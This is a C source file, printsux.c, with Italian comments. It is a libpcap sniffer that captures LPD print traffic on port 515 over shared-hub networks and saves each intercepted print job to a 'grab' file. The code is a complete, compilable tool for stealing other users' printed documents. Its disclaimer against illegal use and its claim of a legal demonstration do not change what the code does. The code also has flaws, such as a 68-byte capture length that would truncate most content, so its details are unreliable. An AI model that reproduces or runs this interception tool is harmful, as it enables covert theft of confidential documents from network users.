/*
 * date:	 31-12-99 -- 13.31 
 * filename:     printsux.c
 * compile with: cc printsux.c -lpcap
 * 
 * This src grabs documents printed on a network printer installed with lpd
 *
 * Don't use it for illegal purposes !
 * It works only with normal hubs and without security layers :)
 *
 * QUESTO SORGENTE E' LIBERO COME L'ARIA POTETE MODIFICARLO, CAMBIARE ANCHE 
 * IL NOME DELL'AUTORE E/O DEL FILE L'UNICO VINCOLO E' LA SINTASSI PROPRIA
 * DEL LINGUAGGIO :D SI VIETA L'UTILIZZO PER SCOPI ILLEGALI.
 * 
 * Questo sorgente dimostra come sia facile in alcuni casi rubare documenti
 * o altro stampato su una stampante collegata in rete ...
 * Funziona nel caso in cui l'admin sia un gran pangonlino e in assenza di un
 * hub switch... ovvio che funge solo su stampe remote... scusatemi se non 
 * avevo voglia di rendere leggibile tutto il file grabbato ad ogni modo il
 * documento e' ben visibile dal resto ...
 *
 * Questo stupido sorgente e' stato utilizzato per una dimostrazione legale 
 * si vieta l'utilizzo per altri scopi.
 *
 * Per cocacola, caffe' di buona marca e concerti sono contattabile:
 *
 * pigpen [pigpen@s0ftpj.org] 
 * 
 */


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <pcap.h>

#if (linux)
#define __FAVOR_BSD
#endif

#include <netinet/ip.h>
#include <netinet/tcp.h>

#define PORT 	515 
#define SUFFIX "grab"


FILE 	*fp 	= NULL;
pcap_t  *p_desc = NULL;


void aroundaround()
{
	if(fp) 	    fclose(fp);
	if(p_desc)  pcap_close(p_desc);
	
	exit(0);
}	


int main(void)
{
 char 		   filename[15];

 char 		   *p_device, 
		   *p_err = NULL, 
		   *buff  = NULL;
		   
 int 		   datalink, 
		   offset = 0, 
		   count  = 0;

 struct pcap_pkthdr p_hdr;
 struct ip 	   *IP;
 struct tcphdr 	   *TCP;


 signal(SIGINT,  aroundaround);
 signal(SIGTERM, aroundaround);
 signal(SIGKILL, aroundaround);
 signal(SIGQUIT, aroundaround);


 if((p_device = pcap_lookupdev(p_err)))
	printf("Interface -> %s\n", p_device);
 else {
	printf("%s\n", p_err);
	return 0;
 }
	
 if (!(p_desc = pcap_open_live(p_device, 68, 1, 1000, p_err))) {
	printf("Error opening pcap: %s", p_err);
	return 0;
 }

 datalink = pcap_datalink(p_desc);

 switch(datalink) {
	case DLT_EN10MB:
		offset = 14;
		break;

	// put other types of datalink if you want ....
 }

 printf("Sniffing pkt ...\n");

 while(1) {
  if ((buff = (char *) pcap_next(p_desc, &p_hdr))) {
   (char *) buff += offset;
   IP = (struct ip *) buff;
	
   switch(IP->ip_p) {
	case IPPROTO_TCP:
 	     TCP = (struct tcphdr *) (buff + ((int)IP->ip_hl << 2));
	     if(ntohs(TCP->th_dport)==PORT) {
	      if (TCP->th_flags & TH_SYN) {
	       if (fp)  fclose(fp);      
 	        printf("Detect a print job\n");	
	        count++;
	        snprintf(filename, sizeof(filename)-1, "%s%d",
				  SUFFIX, count);
	        fp=fopen(filename,"a+"); 
	       }
	      fwrite(buff + sizeof(struct ip) + sizeof(struct tcphdr), 
			       ntohs(IP->ip_len) - sizeof(struct ip) -
			       sizeof(struct tcphdr), 1, fp);
	      fflush(fp);
	     }
	     break;
   }					
  }		
 }
}
